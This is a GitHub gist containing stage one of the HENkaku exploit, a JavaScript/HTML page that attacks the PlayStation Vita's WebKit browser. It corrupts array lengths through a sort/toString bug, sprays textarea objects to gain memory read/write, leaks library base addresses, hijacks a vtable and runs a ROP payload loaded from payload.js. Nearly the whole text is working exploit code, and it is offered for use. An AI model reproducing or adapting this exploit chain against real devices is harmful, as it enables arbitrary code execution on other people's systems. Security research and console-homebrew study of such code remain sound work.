Skip to content

Instantly share code, notes, and snippets.

@hexkyz
Created October 19, 2016 18:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hexkyz/8553177330ebf31350be47d025354a0d to your computer and use it in GitHub Desktop.
Save hexkyz/8553177330ebf31350be47d025354a0d to your computer and use it in GitHub Desktop.
HENkaku - Stage 1 (HTML code)
<script src='payload.js'></script>
<script>
var r, a, e, t, n, o, l, i, f, v, s, c;
var u, y, w, p, d, g, h, k, b;
var A, U;
var m = 0x40 + payload[16/4]; /* 0x40 bytes for ROP header + 1840 bytes for stack*/
m /= 4; /* 476 */
var _dview = null;
/*
Wrap two uint32s into double precision
*/
function u2d(low, hi)
{
if (!_dview)
_dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0)
}
/*
Unwrap uints from double
*/
function d2u(d)
{
if (!_dview)
_dview = new DataView(new ArrayBuffer(16));
_dview.setFloat64(0, d);
return {low:_dview.getUint32(4),hi:_dview.getUint32(0)}
}
// Temporary space to store Element object
var aspace_temp = new Uint32Array(1024);
var word1 = 0;
var word2 = 0;
function swap(offset)
{
word1 = aspace32[offset/4];
word2 = aspace32[offset/4 + 1];
return((word1 & 0xFFF | (word1 & 0xF0000) >> 4) & 0xFFFF | ((word2 & 0xFFF | (word2 & 0xF0000) >> 4) & 0xFFFF) << 16) >>> 0
}
r = 0x4000;
textareas = new Array(r);
aspace_arr = new Array(r);
t = 0x1344;
n = 0x66656463;
o = 0x55555555;
for (var i = 0; i < aspace_arr.length; ++i)
{
aspace_arr[i] = new Uint32Array(0x1344/4);
var e = document.createElement("textarea");
e.rows = 0x66656463;
textareas[i] = e;
}
/*
Spray memory with Element objects
*/
for (var i = 0; i < 1024; ++i)
{
var e = document.createElement("textarea");
e.rows = 0x66656463;
textareas.push(e);
}
var N = 0x3000;
var W = Array.prototype.constructor.apply(null,new Array(0x3000));
var j = 2048;
var q = new Array(2048);
var z = {};
var C = new Array(256);
z.toString = function()
{
W.push(12345);
for (var r = 0; r < C.length; ++r)
{
var a = Array.prototype.constructor.apply(null, q);
a[0] = 0;
a[1] = 1;
a[2] = 2;
C[r] = a;
} return""
};
W[0] = z;
var G = u2d(0x80000000, 0x80000000);
for (var i = 1; i < 8192; ++i)
W[i] = G;
W.sort();
contents = "";
cur = 0;
z.toString = function(){};
var I = null;
for (var i = 0; i < C.length; ++i)
{
if(C[i].length != j)
{
I = C[i];
break;
}
}
var count = 0x20000000 - 0x11000;
for(; ; count--)
{
if(I[count] != 0)
{
_dview.setFloat64(0, I[J]);
if (_dview.getUint32(0) == t/4)
{
_dview.setUint32(0, 0xEFFFFFE0);
I[J] = _dview.getFloat64(0);
_dview.setFloat64(0, I[J - 2]);
v = _dview.getUint32(4);
_dview.setUint32(4, 0);
_dview.setUint32(0, 0x80000000);
I[J-2] = _dview.getFloat64(0);
break;
}
}
}
target_aspace = null;
for (var i = 0; i < aspace_arr.length; ++i)
{
if(aspace_arr[i].byteLength != t)
{
target_aspace = aspace_arr[i];
break;
}
}
if (!target_aspace)
{
alert("failed");
while(1){};
}
var aspace32 = target_aspace;
var fkvtable = v;
f = v;
/*
Find one of the sprayed Element objects in memory
by looking for the rows of the object
*/
for (var addr = f/4; addr < f/4 + 0x4000; ++addr)
{
if (aspace32[addr] == 0x66656463)
{
aspace32[addr] = 0x55555555;
textarea_addr = addr * 4;
found_element = true;
break;
}
}
if (!found_element)
{
alert("Did not find Element signature");
while(1){};
}
/*
Change the rows of the Element object then scan the array of
sprayed objects to find an object whose rows have been changed
*/
var found_corrupted = false;
var corrupted_textarea;
for (var i = 0; i < textareas.length; ++i)
{
if(textareas[i].rows == 0x55555555)
{
corrupted_textarea = textareas[i];
found_corrupted = true;
break;
}
}
if (!found_corrupted)
{
alert("Did not find corrupted textarea");
while(1){};
}
var vtidx = textarea_addr - 0x70;
var textareavptr = aspace32[vtidx/4];
scewkbase = textareavptr - 0xABB65C;
scelibcbase = swap(scewkbase + 0x85F504) - 0xFA49;
scekernbase = swap(scewkbase + 0x85F464) - 0x9031;
p = swap(scewkbase + 0x85D2E4) - 0x22D65;
d = swap(p + 0x2C688C) - 0x9E5;
g = swap(d + 0x3BC4) - 0xDC2D;
scenetbase = swap(scewkbase + 0x85F414) - 0x23ED;
k = swap(g + 0x18BF4) - 0xD59;
b = swap(k + 0x9AB8) - 0x49CD;
// Copy vtable
for (var i = 0; i < 64; i++)
aspace32[fkvtable/4 + i] = aspace32[textareavptr/4 + i];
aspace32[vtidx/4] = fkvtable;
// Save Element object
for (var i = 0; i < 0x30; ++i)
aspace_temp[i] = aspace32[vtidx/4 + i];
// Call setjmp
aspace32[fkvtable/4 + 0x4E] = scelibcbase + 0x14070|1;
// Undefine scrollLeft
corrupted_textarea.scrollLeft = 0;
// Save payload address (jmp context)
payload_addr = (aspace32[vtidx/4 + 8] ^ (aspace32[vtidx/4 + 9] ^ u + 0x317929) >>> 0) >>> 0;
payload_addr -= 0xEF818;
// Restore Element object
for (var i = 0; i < 0x30; ++i)
aspace32[vtidx/4 + i] = aspace_temp[i];
payload_stack = payload_addr + 0x40;
payload_code = payload_addr + 0x10000;
payload_off = payload_addr/4;
// Build ROP payload
for (var i = 0; i < payload.length; ++i,++payload_off)
{
// Reached the end of ROP header (first 0x770 bytes)
if (i == 476)
payload_off = payload_code/4;
switch(relocs[i])
{
case 0:
aspace32[payload_off] = payload[i];
break;
case 1:
aspace32[payload_off] = payload[i] + payload_stack;
break;
case 2:
aspace32[payload_off] = payload[i] + scewkbase;
break;
case 3:
aspace32[payload_off] = payload[i] + scekernbase;
break;
case 4:
aspace32[payload_off] = payload[i] + scelibcbase;
break;
case 5:
aspace32[payload_off] = payload[i] + g;
break;
case 6:
aspace32[payload_off] = payload[i] + scenetbase;
break;
case 7:
aspace32[payload_off] = payload[i] + b;
break;
default:
alert("wtf?");
alert(i + " " + relocs[i])
}
}
// Trigger ROPchain
aspace32[fkvtable/4 + 0x4E] = scewkbase + 0x54C8; /* LDM R1 gadget */
var rchainaddr = fkvtable + 0x100;
aspace32[rchainaddr/4 + 5] = payload_code;
aspace32[rchainaddr/4 + 6] = scewkbase + 0xC048A|1;
alert("Welcome to HENkaku!");
// Set scrollLeft to ROP chain
corrupted_textarea.scrollLeft = rchainaddr;
alert("that's it");
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment